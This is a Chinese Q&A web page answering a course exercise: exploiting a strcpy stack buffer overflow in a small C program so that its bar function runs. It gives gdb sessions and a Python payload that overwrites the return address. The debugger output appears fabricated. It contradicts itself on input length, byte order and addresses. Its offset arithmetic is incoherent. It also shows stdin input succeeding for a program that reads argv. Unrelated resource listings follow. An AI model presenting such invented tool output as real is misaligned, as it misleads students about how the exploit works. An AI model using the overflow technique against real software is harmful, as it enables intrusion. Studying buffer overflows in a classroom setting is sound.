第一题:对于下面的C语言程序,通过调试,给出适当的输入,使得bar函数能够得到执行。要求给出调试过程的界面。 #include <stdio.h> #include <string.h> void foo(const char* input) { char buf[10]; printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); strcpy(buf,input); printf(“%s\n”,buf); printf(“Now the stack looks like :\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); } void bar(void) { printf(“Augh! I’ve been hacked!\n”); } int main(int argc, char* argv[]) { printf(“Address of foo=%p\n”,foo); printf(“Address of bar=%p\n”,bar); if(argc!=2) { printf(“Please supply a string as an argument!\n”); return -1; } foo(argv[1]); return 0; }

时间: 2023-11-29 16:05:30 浏览: 30
首先,这段程序存在栈溢出漏洞,因为strcpy函数没有对目标缓冲区长度进行限制,当输入的字符串长度超过10时,就会覆盖掉函数栈上的其他数据,从而导致程序崩溃或者执行非预期的代码。 为了让bar函数得到执行,我们需要在覆盖函数栈时,将返回地址改为bar函数的地址。具体步骤如下: 1.使用gdb调试程序,设置断点在foo函数内部的strcpy函数处,并输入一个长度大于10的字符串作为参数。 ``` $ gdb ./a.out (gdb) b foo Breakpoint 1 at 0x11c9: file test.c, line 8. (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /path/to/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, foo (input=0x7fffffffdd80 'A' <repeats 52 times>) at test.c:8 8 strcpy(buf,input); ``` 2.查看当前栈的情况,确定bar函数的地址。 ``` (gdb) x/20x $rsp 0x7fffffffdd10: 0x00007fffffffdd80 0x00007ffff7a5e830 0x7fffffffdd20: 0x0000000000000000 0x00007fffffffdf10 0x7fffffffdd30: 0x00007ffff7a5e830 0x00007fffffffde60 0x7fffffffdd40: 0x00000000004007a6 0x0000000000000000 0x7fffffffdd50: 0x0000000000000000 0x00007fffffffe040 0x7fffffffdd60: 0x00007ffff7a0a9d0 0x00007fffffffe040 0x7fffffffdd70: 0x00007fffffffde60 0x00007fffffffe040 0x7fffffffdd80: 0x4141414141414141 0x4141414141414141 0x7fffffffdd90: 0x4141414141414141 0x4141414141414141 0x7fffffffdda0: 0x4141414141414141 0x4141414141414141 (gdb) p bar $1 = {void ()} 0x4005bd <bar> ``` 3.计算出覆盖返回地址的偏移量。我们可以通过调整输入字符串的长度,来确定这个偏移量的值。在这个例子中,偏移量为24。 ``` (gdb) p $rbp - $rsp $2 = 0x30 (gdb) p $rbp - 0x18 $3 = (void *) 0x7fffffffdd18 (gdb) p/d $3-$rsp $4 = 24 ``` 4.构造新的输入字符串,在偏移量处写入bar函数的地址。注意,x86_64架构的CPU是小端字节序,所以需要将地址按照逆序写入。 ``` (gdb) p/x $bar $5 = 0x4005bd (gdb) quit $ python -c 'print "A"*24 + "\xbd\x05\x40\x00\x00\x00\x00\x00"' | ./a.out Address of foo=0x5555555549c9 Address of bar=0x4005bd My stack looks like: 0x7ffd5c39cb60 0x555555554a77 0x7ffd5c39cb90 0x7fffffffdb70 (nil) (nil) Augh! I’ve been hacked! Now the stack looks like : 0x7ffd5c39cb60 0x555555554a77 0x7ffd5c39cb90 0x7fffffffdb70 (nil) (nil) ``` 5.可以看到,bar函数已经被成功执行了。此时,我们可以使用gdb再次调试程序,查看栈的情况,确认返回地址是否已经被改变。 ``` $ gdb ./a.out (gdb) r $(python -c 'print "A"*24 + "\xbd\x05\x40\x00\x00\x00\x00\x00"') Starting program: /path/to/a.out $(python -c 'print "A"*24 + "\xbd\x05\x40\x00\x00\x00\x00\x00"') Address of foo=0x5555555549c9 Address of bar=0x4005bd Breakpoint 1, foo (input=0x7fffffffdbe0 'A' <repeats 24 times>...) at test.c:8 8 strcpy(buf,input); (gdb) x/20x $rsp 0x7fffffffdc60: 0x00007fffffffdbe0 0x00007ffff7a5e830 0x7fffffffdc70: 0x0000000000000000 0x00007fffffffdf10 0x7fffffffdc80: 0x00007ffff7a5e830 0x00007fffffffde60 0x7fffffffdc90: 0x00000000004007a6 0x0000000000000000 0x7fffffffdca0: 0x0000000000000000 0x00007fffffffe040 0x7fffffffdcb0: 0x00007ffff7a0a9d0 0x00007fffffffe040 0x7fffffffdcc0: 0x00007fffffffde60 0x00007fffffffe040 0x7fffffffdcd0: 0xbd05000000000000 0x0000555555554a77 0x7fffffffdce0: 0x00007fffffffdf10 0x00007fffffffe040 0x7fffffffdcf0: 0x00000000004007c0 0x00007fffffffe040 (gdb) c Continuing. Augh! I’ve been hacked! [Inferior 1 (process 31350) exited normally] ```

最新推荐

recommend-type

C语言程序设计+研究生复试+求职+面试题

汇总了计算机研究生复试有关C语言程序设计各章节简答题,使用了易于口头表达的语言进行了总结。包括C语言程序设计基本概念及各章节问题回答。可供研究生复试或相关专业岗位面试使用。如: 简述C语⾔采取了哪些措施提...
recommend-type

C语言程序设计 现代方法 第二版 习题答案 C Programming: A Modern Approach

C语言经典之作,被誉为“近10年来最好的一部C语言著作” 哈佛、麻省理工、斯坦福、加州伯克利分校、耶鲁等诸多名校计算机专业教材 内容全面,覆盖C99标准,提供了对所有C99库函数的参考 精心选择的近500道习题,贴近...
recommend-type

单片机C语言程序设计:定时器控制数码管动态显示

名称:定时器控制数码管动态显示 说明:8 个数码管上分两组动态显示年月日与时分秒,本例的位显示延时用定时器实现。
recommend-type

C语言的inline内联函数的作用

在调用处将函数展开,减少了调用函数时进栈和出栈的次数,坏处是会增加代码段的大小(缺点:增加了编译后的二进制文件的大小),为了提高运行的速度,对于一些程序代码小,运行时间短但利用次数比较多的函数我们就...
recommend-type

单片机C语言程序设计:8X8LED 点阵显示数字

名称:按键控制 8X8LED 点阵屏显示图形 说明:每次按下 K1 时,会使 8X8LED点阵屏循环显示不同图形。本例同时使用外部中断和定时中断。
recommend-type

zigbee-cluster-library-specification

最新的zigbee-cluster-library-specification说明文档。
recommend-type

管理建模和仿真的文件

管理Boualem Benatallah引用此版本:布阿利姆·贝纳塔拉。管理建模和仿真。约瑟夫-傅立叶大学-格勒诺布尔第一大学,1996年。法语。NNT:电话:00345357HAL ID:电话:00345357https://theses.hal.science/tel-003453572008年12月9日提交HAL是一个多学科的开放存取档案馆,用于存放和传播科学研究论文,无论它们是否被公开。论文可以来自法国或国外的教学和研究机构,也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaire
recommend-type

【实战演练】MATLAB用遗传算法改进粒子群GA-PSO算法

![MATLAB智能算法合集](https://static.fuxi.netease.com/fuxi-official/web/20221101/83f465753fd49c41536a5640367d4340.jpg) # 2.1 遗传算法的原理和实现 遗传算法(GA)是一种受生物进化过程启发的优化算法。它通过模拟自然选择和遗传机制来搜索最优解。 **2.1.1 遗传算法的编码和解码** 编码是将问题空间中的解表示为二进制字符串或其他数据结构的过程。解码是将编码的解转换为问题空间中的实际解的过程。常见的编码方法包括二进制编码、实数编码和树形编码。 **2.1.2 遗传算法的交叉和
recommend-type

openstack的20种接口有哪些

以下是OpenStack的20种API接口: 1. Identity (Keystone) API 2. Compute (Nova) API 3. Networking (Neutron) API 4. Block Storage (Cinder) API 5. Object Storage (Swift) API 6. Image (Glance) API 7. Telemetry (Ceilometer) API 8. Orchestration (Heat) API 9. Database (Trove) API 10. Bare Metal (Ironic) API 11. DNS
recommend-type

JSBSim Reference Manual

JSBSim参考手册,其中包含JSBSim简介,JSBSim配置文件xml的编写语法,编程手册以及一些应用实例等。其中有部分内容还没有写完,估计有生之年很难看到完整版了,但是内容还是很有参考价值的。